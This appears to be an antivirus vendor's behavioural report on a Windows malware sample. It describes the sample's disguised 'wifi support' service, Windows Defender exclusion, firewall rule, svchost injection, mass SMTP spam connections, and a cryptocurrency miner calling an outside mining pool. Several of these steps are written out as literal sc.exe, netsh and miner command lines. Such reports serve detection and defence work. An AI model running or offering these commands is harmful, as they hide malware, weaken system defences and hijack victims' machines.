Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\epidvdwx] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\epidvdwx] 'ImagePath' = '%WINDIR%\SysWOW64\epidvdwx\dbiedmkb.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\epidvdwx] 'ImagePath' = '%WINDIR%\SysWOW64\epidvdwx\dbiedmkb.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\epidvdwx' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\dbiedmkb.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\dbiedmkb.exe to %WINDIR%\syswow64\epidvdwx\dbiedmkb.exe
Deletes itself.
Network activity
Connects to
- 'mx###.##il.am0.yahoodns.net':25
- 'mx#.#wetel.de':25
- 'mx#.#otmail.com':25
- 'mx#.##ailsrvr.com':25
- 'mx#######e01.gslb.pphosted.com':25
- 'na#.###.#rotection.outlook.com':25
- 'sm####n.orange.fr':25
- 'al######x-vip2.prodigy.net':25
- 'mx#.#omcast.net':25
- 'd1######.#ss.barracudanetworks.com':25
- 'sp##.#rionworld.com':25
- 'ma##.#esamath.net':25
- 'mx######91d01.pphosted.com':25
- 'cu#######-1.in.mailcontrol.com':25
- 'alt4.gmail-smtp-in.l.google.com':25
- 'mx.######.nl.cust.b.hostedemail.com':25
- 'ba######a.rtpcompany.com':25
- 'mx#.#ate.com':25
- 'fi######.networkoperations.nl':25
- 'localhost':25
- 'fa######mx.spamexperts.eu':25
- 'mx.##se-mail.jp':25
- 'ms#####p-mx2.hinet.net':25
- '18#.#55.55.29':443
- 'mx####.##il.gm0.yahoodns.net':25
- 'ap#.###.#rotection.outlook.com':25
- '14#.#6.108.92':480
- 'ro###rine.com':25
- 'mx#######301.gslb.pphosted.com':25
- 'cl#######.us.messagelabs.com':25
- 'mx#.#anmail.net':25
- 'alt2.gmail-smtp-in.l.google.com':25
- 'ho#########.olc.protection.outlook.com':25
- 'as#.##flexion.net':25
- 'sm##.##cureserver.net':25
- 'mt##.##0.yahoodns.net':25
- 'mx#####.#ail.gm0.yahoodns.net':25
- 'im####.netvigator.com':25
- 'alt1.gmail-smtp-in.l.google.com':25
- 'ALT1.ASPMX.L.GOOGLE.COM':25
- 'cu#######-2.in.mailcontrol.com':25
- 'ac######.emirates.net.ae':25
- 'ma##.#stranet.it':25
- 'alt3.gmail-smtp-in.l.google.com':25
- 'et###.#ail.tiscali.it':25
- 'mx.###.#ail.iss.as9143.net':25
- 'mx.##osted.nl':25
- 'ma##.#ooglio.net':25
- 'ma####.gslb.fedex.com':25
- 'mx#.###.#ailpod1-cph3.one.com':25
- 'vm#.#erra.com':25
- 'mx###.##erycloudtech.com':25
- 'an###.#okwafitness.net':25
- 'mx#######.spamfilterserver.com':25
- 'ma##.##kingrivers.com':25
- 'aspmx.l.google.com':25
- 'gmail-smtp-in.l.google.com':25
- 'mx#######d01.gslb.pphosted.com':25
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK bo####itness.com
- DNS ASK an###.#okwafitness.net
- DNS ASK me######ediaservices.co.uk
- DNS ASK mx###.##erycloudtech.com
- DNS ASK fe###oordav.nl
- DNS ASK mx#######.spamfilterserver.com
- DNS ASK an#####ler-realty.com
- DNS ASK ma##.gmail.com
- DNS ASK lu##nt.com
- DNS ASK bc###werkede.nl
- DNS ASK me#i.fr
- DNS ASK ma##.##kingrivers.com
- DNS ASK we###fargo.com
- DNS ASK cl#######.us.messagelabs.com
- DNS ASK ws#.edu
- DNS ASK mx#######301.gslb.pphosted.com
- DNS ASK ro###rine.com
- DNS ASK li##.com.au
- DNS ASK ap#.###.#rotection.outlook.com
- DNS ASK ew##el.net
- DNS ASK in###ia.com.ar
- DNS ASK vm#.#erra.com
- DNS ASK mx#.###.#ailpod1-cph3.one.com
- DNS ASK ya##o.de
- DNS ASK al##u.com
- DNS ASK ht##.net
- DNS ASK br##t.co.uk
- DNS ASK cu#######-2.in.mailcontrol.com
- DNS ASK br#####sontheblvd.com
- DNS ASK at#.com
- DNS ASK mx######91d01.pphosted.com
- DNS ASK gm##l.com
- DNS ASK ti###linet.it
- DNS ASK mx#.#wetel.de
- DNS ASK im####.netvigator.com
- DNS ASK vi##ng.com
- DNS ASK et###.#ail.tiscali.it
- DNS ASK gr###willem.nl
- DNS ASK mx.##osted.nl
- DNS ASK do##lio.net
- DNS ASK ma##.#ooglio.net
- DNS ASK ya###.com.vn
- DNS ASK fe##x.com
- DNS ASK ma####.gslb.fedex.com
- DNS ASK je####romano.com
- DNS ASK fa#####ldfasteners.com
- DNS ASK ho#e.nl
- DNS ASK mx.###.#ail.iss.as9143.net
- DNS ASK tr##pi.net
- DNS ASK mh###alue.com
- DNS ASK ti##ali.it
- DNS ASK bo#####ulelegance.com
- DNS ASK hs#g.nl
- DNS ASK fi######.networkoperations.nl
- DNS ASK in####club.com.au
- DNS ASK ya##o.it
- DNS ASK cb###sold.com
- DNS ASK ko###groep.nl
- DNS ASK fa######mx.spamexperts.eu
- DNS ASK ex###e.co.jp
- DNS ASK mx#.#ate.com
- DNS ASK ne###gator.com
- DNS ASK na##.com
- DNS ASK ve##zon.net
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK rt###mpany.sg
- DNS ASK em###tes.net.ae
- DNS ASK ac######.emirates.net.ae
- DNS ASK ao#.com
- DNS ASK sn###valin.com
- DNS ASK mx#######d01.gslb.pphosted.com
- DNS ASK lo####ille-tile.com
- DNS ASK ms#.#inet.net
- DNS ASK mx.##se-mail.jp
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK rt###mpany.com
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK rr#.com
- DNS ASK wa##doo.fr
- DNS ASK sm####n.orange.fr
- DNS ASK as##c.com
- DNS ASK co##ast.net
- DNS ASK mx#.#omcast.net
- DNS ASK yu####tholic.org
- DNS ASK or###world.com
- DNS ASK ba######a.rtpcompany.com
- DNS ASK mx#.##ailsrvr.com
- DNS ASK am##n.com
- DNS ASK go##le.net
- DNS ASK se###ath.net
- DNS ASK ma##.#esamath.net
- DNS ASK cb#.ae
- DNS ASK cu#######-1.in.mailcontrol.com
- DNS ASK es##anet.it
- DNS ASK ma##.#stranet.it
- DNS ASK hp##oi.nl
- DNS ASK mx.######.nl.cust.b.hostedemail.com
- DNS ASK av##nc.com
- DNS ASK sp##.#rionworld.com
- DNS ASK mx#####.#ail.gm0.yahoodns.net
- DNS ASK ya##o.co.in
- DNS ASK vc##l.com
- DNS ASK in#####lengineering.com
- DNS ASK ed####xoffice.com
- DNS ASK un####pra.com.br
- DNS ASK alt3.gmail-smtp-in.l.google.com
- DNS ASK mx.###compra.com.br
- DNS ASK in####ilderness.com
- DNS ASK mc##ail.net
- DNS ASK ALT1.ASPMX.L.GOOGLE.COM
- DNS ASK co##ral.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ag#####racemodel.com
- DNS ASK al###m.co.uk
- DNS ASK ip#.net
- DNS ASK mx#.##rthlink.net
- DNS ASK bo###realty.com
- DNS ASK ho##ail.de
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK rg####ancial.com
- DNS ASK we##v.net
- DNS ASK na#.###.#rotection.outlook.com
- DNS ASK aspmx.l.google.com
- DNS ASK in###rasi.com
- DNS ASK ya###.com.br
- DNS ASK lo############-com02e.mail.protection.outlook.com
- DNS ASK co###ter.org
- DNS ASK mx#######c01.gslb.pphosted.com
- DNS ASK st#####.faytechcc.edu
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK alt4.gmail-smtp-in.l.google.com
- DNS ASK mx#.#otmail.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK alt2.aspmx.l.google.com
- DNS ASK ch##ter.net
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK t-##line.de
- DNS ASK mx##.#-online.de
- DNS ASK mx#.#harter.net
- DNS ASK up#####publications.org
- DNS ASK sm##.##cureserver.net
- DNS ASK be###outh.net
- DNS ASK al######x-vip2.prodigy.net
- DNS ASK in###hes.com
- DNS ASK me###one.net
- DNS ASK gmail-smtp-in.l.google.com
- DNS ASK ya##o.com
- DNS ASK ci##a.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK ms#####p-mx2.hinet.net
- DNS ASK as####.googlemail.com
- DNS ASK ex##te.com
- DNS ASK mx#.#anmail.net
- DNS ASK us.#bm.com
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK va###esorts.com
- DNS ASK se####rcedes.net
- DNS ASK th#####enmethod.co.uk
- DNS ASK mx#.##3-reg.co.uk
- DNS ASK pr####otomasyon.com
- DNS ASK mx#####.natrohost.com
- DNS ASK ca##ill.com
- DNS ASK ha##ail.net
- DNS ASK sp##.##ditservices.com
- DNS ASK ar####anderneut.com
- DNS ASK sp###.#ail.gandi.net
- DNS ASK google.com
- DNS ASK ya##o.fr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ho##ail.com
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ar####ackaging.com
- DNS ASK as#.##flexion.net
- DNS ASK ch###onward.net
- DNS ASK ft.com
- DNS ASK mx#######202.gslb.pphosted.com
- DNS ASK mx#.##works.com.cn
- DNS ASK mx#.###.#ailpod7-cph3.one.com
- DNS ASK ma#######xcite.roc2.bluetie.com
- DNS ASK pa####kjsweeney.com
- DNS ASK sa####ctures.co.uk
- DNS ASK mx.###sin.plus.net
- DNS ASK pc#.net
- DNS ASK fm##.glauco.it
- DNS ASK wa#####ealtycorp.com
- DNS ASK mg#####.#atsonrealtycorp.com
- DNS ASK ol#####appraisals.com
- DNS ASK ca###one.net
- DNS ASK co#####orecanada.com
- DNS ASK mx.##bleone.net
- DNS ASK mx#######801.gslb.pphosted.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK gi####iannibiffi.it
- DNS ASK mx.####iciannibiffi.it
- DNS ASK ms##.hinet.net
- DNS ASK ms#####p-mx1.hinet.net
- DNS ASK gm#.net
- DNS ASK mx##.#mig.gmx.net
- DNS ASK fu####ellidos.com
- DNS ASK sm###.##praiser-mail.net
- DNS ASK us###azine.com
- DNS ASK ci###fpsl.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\epidvdwx\dbiedmkb.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\epidvdwx\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dbiedmkb.exe" %WINDIR%\SysWOW64\epidvdwx\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create epidvdwx binPath= "%WINDIR%\SysWOW64\epidvdwx\dbiedmkb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description epidvdwx "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start epidvdwx' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\epidvdwx\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\dbiedmkb.exe" %WINDIR%\SysWOW64\epidvdwx\
- '%WINDIR%\syswow64\sc.exe' create epidvdwx binPath= "%WINDIR%\SysWOW64\epidvdwx\dbiedmkb.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description epidvdwx "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start epidvdwx
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy -o stratum+tcp://185.16.41.185:8087 -u w1 -p x --nicehash --safe
